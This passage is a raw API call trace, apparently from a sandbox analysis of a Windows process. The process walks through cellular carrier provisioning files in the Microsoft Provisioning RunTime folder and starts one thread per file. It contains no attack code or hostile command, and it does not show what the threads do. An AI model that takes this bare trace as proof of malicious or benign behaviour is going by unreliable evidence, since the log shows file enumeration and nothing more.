Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.694] wcscat (in: _Dest=0x2f91630, _Source="431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" [0180.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0180.695] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fb18e0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fb18e0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fb18e0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="432__C~1.PRO")) returned 1 [0180.695] wcscmp (_String1="432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.695] wcscmp (_String1="432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.695] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f90b70 [0180.695] wcscpy (in: _Dest=0x2f90b70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.695] wcscat (in: _Dest=0x2f90b70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.695] wcscat (in: _Dest=0x2f90b70, _Source="432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" [0180.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0180.696] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fb18e0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fb18e0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fb18e0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="433__C~1.PRO")) returned 1 [0180.696] wcscmp (_String1="433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.696] wcscmp (_String1="433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f90cc8 [0180.696] wcscpy (in: _Dest=0x2f90cc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.696] wcscat (in: _Dest=0x2f90cc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.696] wcscat (in: _Dest=0x2f90cc8, _Source="433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" [0180.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90cc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0180.696] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fd7b44, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fd7b44, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fd7b44, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="434__C~1.PRO")) returned 1 [0180.696] wcscmp (_String1="434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.696] wcscmp (_String1="434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.697] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2f918e0 [0180.697] wcscpy (in: _Dest=0x2f918e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.697] wcscat (in: _Dest=0x2f918e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.697] wcscat (in: _Dest=0x2f918e0, _Source="434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml" [0180.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f918e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0180.697] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fd7b44, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fd7b44, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fd7b44, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="435__C~1.PRO")) returned 1 [0180.697] wcscmp (_String1="435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.697] wcscmp (_String1="435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.697] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2f8fb50 [0180.697] wcscpy (in: _Dest=0x2f8fb50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.697] wcscat (in: _Dest=0x2f8fb50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.697] wcscat (in: _Dest=0x2f8fb50, _Source="435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml" [0180.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0180.698] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fd7b44, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fd7b44, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fd7b44, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="436__C~1.PRO")) returned 1 [0180.698] wcscmp (_String1="436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0180.698] wcscmp (_String1="436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0180.698] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f90768 [0180.698] wcscpy (in: _Dest=0x2f90768, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.698] wcscat (in: _Dest=0x2f90768, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.698] wcscat (in: _Dest=0x2f90768, _Source="436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0180.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0180.699] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fd7b44, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fd7b44, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fd7b44, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="437__C~1.PRO")) returned 1 [0180.699] wcscmp (_String1="437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.699] wcscmp (_String1="437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.699] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f91380 [0180.699] wcscpy (in: _Dest=0x2f91380, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.699] wcscat (in: _Dest=0x2f91380, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.699] wcscat (in: _Dest=0x2f91380, _Source="437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml" [0180.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0180.700] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="438__C~1.PRO")) returned 1 [0180.700] wcscmp (_String1="438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.700] wcscmp (_String1="438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.700] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x2f90e20 [0180.700] wcscpy (in: _Dest=0x2f90e20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.700] wcscat (in: _Dest=0x2f90e20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.700] wcscat (in: _Dest=0x2f90e20, _Source="438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml" [0180.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0180.701] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="439__C~1.PRO")) returned 1 [0180.701] wcscmp (_String1="439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.701] wcscmp (_String1="439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.701] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x2f90f78 [0180.701] wcscpy (in: _Dest=0x2f90f78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.701] wcscat (in: _Dest=0x2f90f78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.701] wcscat (in: _Dest=0x2f90f78, _Source="439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml" [0180.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0180.702] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90247f0e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90247f0e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90247f0e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml", cAlternateFileName="43__CO~1.PRO")) returned 1 [0180.705] wcscmp (_String1="43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.705] wcscmp (_String1="43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.705] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02d58 [0180.705] wcscpy (in: _Dest=0x4f02d58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.705] wcscat (in: _Dest=0x4f02d58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.705] wcscat (in: _Dest=0x4f02d58, _Source="43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml" [0180.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0180.705] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml", cAlternateFileName="440__C~1.PRO")) returned 1 [0180.706] wcscmp (_String1="440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.706] wcscmp (_String1="440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x2f90360 [0180.706] wcscpy (in: _Dest=0x2f90360, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.706] wcscat (in: _Dest=0x2f90360, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.706] wcscat (in: _Dest=0x2f90360, _Source="440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml" [0180.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0180.706] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="441__C~1.PRO")) returned 1 [0180.706] wcscmp (_String1="441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0180.706] wcscmp (_String1="441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0180.706] RtlAllocateHeap 